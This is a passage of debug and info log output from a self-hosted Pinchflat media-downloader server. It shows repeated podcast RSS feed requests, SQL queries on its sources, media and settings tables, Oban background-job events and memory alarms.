:system_memory_high_watermark} 23:58:01.842 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:27.402 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:58:27.402 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:58:27.404 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=1917.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:58:27.406 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=1603.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:58:27.409 [debug] QUERY OK source="source_metadata" db=0.3ms idle=923.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:58:27.410 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=924.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:58:27.411 [info] Sent 200 in 9ms 23:58:31.844 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:38.938 [info] GET / 23:58:38.994 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:58:39.109 [debug] QUERY OK source="settings" db=26.9ms idle=1251.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:39.129 [debug] QUERY OK source="media_profiles" db=18.3ms idle=625.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:58:39.132 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=644.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:58:39.134 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=648.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:58:39.164 [debug] QUERY OK source="media_items" db=28.7ms queue=0.1ms idle=302.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:58:39.417 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=307.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:39.419 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=289.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:39.633 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:39.886 [debug] QUERY OK source="tasks" db=1.0ms queue=0.1ms idle=750.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:58:40.122 [debug] QUERY OK source="media_items" db=1.3ms queue=0.5ms idle=703.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:58:40.124 [debug] QUERY OK source="media_items" db=0.8ms queue=0.6ms idle=703.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:58:40.127 [debug] QUERY OK source="sources" db=1.4ms queue=0.2ms idle=491.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:58:40.184 [debug] QUERY OK source="media_items" db=3.1ms queue=0.3ms idle=295.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:58:40.241 [debug] QUERY OK source="media_items" db=2.0ms queue=0.6ms idle=116.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:58:40.410 [info] Sent 200 in 1472ms 23:59:00.573 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:01.847 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:31.849 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.575 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:01.851 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:31.853 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.576 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:01.859 [info] {"source":"oban","duration":4068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:04.666 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 00:01:04.666 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 00:01:04.668 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=1030.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 00:01:04.676 [debug] QUERY OK source="media_items" db=5.0ms queue=1.8ms idle=1032.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 00:01:04.681 [debug] QUERY OK source="source_metadata" db=1.2ms queue=0.5ms idle=1043.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 00:01:04.685 [debug] QUERY OK source="media_metadata" db=1.8ms queue=1.2ms idle=1045.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 00:01:04.689 [info] Sent 200 in 22ms 00:01:31.861 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.578 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:01.011 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 00:02:01.863 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:31.865 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.579 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:01.867 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:20.091 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 00:03:20.091 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 00:03:20.092 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=455.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 00:03:20.095 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=457.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 00:03:20.096 [debug] QUERY OK source="source_metadata" db=0.4ms idle=460.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 00:03:20.097 [debug] QUERY OK source="media_metadata" db=0.3ms idle=460.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 00:03:20.098 [info] Sent 200 in 7ms 00:03:31.869 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.582 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:01.873 [info] {"source":"oban","duration":1898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:31.875 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.583 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:01.878 [info] {"source":"oban","duration":2246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:31.880 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.585 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:01.883 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:16.845 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 00:06:16.846 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 00:06:16.848 [debug] QUERY OK source="sources" db=1.0ms idle=1210.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 00:06:16.850 [debug] QUERY OK source="media_items" db=1.6ms idle=1211.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 00:06:16.852 [debug] QUERY OK source="source_metadata" db=0.8ms idle=1215.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 00:06:16.854 [debug] QUERY OK source="media_metadata" db=1.2ms idle=1216.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 00:06:16.855 [info] Sent 200 in 9ms 00:06:31.885 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.587 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:01.888 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:31.890 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.590 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:01.049 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 00:08:01.893 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:31.895 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:58.686 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 00:08:58.720 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 00:08:58.722 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1084.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 00:08:58.775 [debug] QUERY OK source="media_items" db=0.9ms queue=51.5ms idle=1086.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 00:08:58.777 [debug] QUERY OK source="source_metadata" db=1.2ms idle=1139.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 00:08:58.778 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.2ms idle=1141.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 00:08:58.779 [info] Sent 200 in 92ms 00:09:00.591 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:01.898 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:31.900 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.593 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:01.902 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:31.904 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.594 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:01.910 [info] {"source":"oban","duration":4530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:31.912 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:36.213 [info] {"args":{"id":1},"id":102,"meta":{},"system_time":1768090296212777701,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 00:11:36.214 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=554.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:11:36.215 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=555.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:11:36.241 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=581.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:11:36.266 [debug] QUERY OK source="media_items" db=0.7ms queue=0.8ms idle=56.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 00:11:36.268 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=54.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:11:36.271 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=56.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 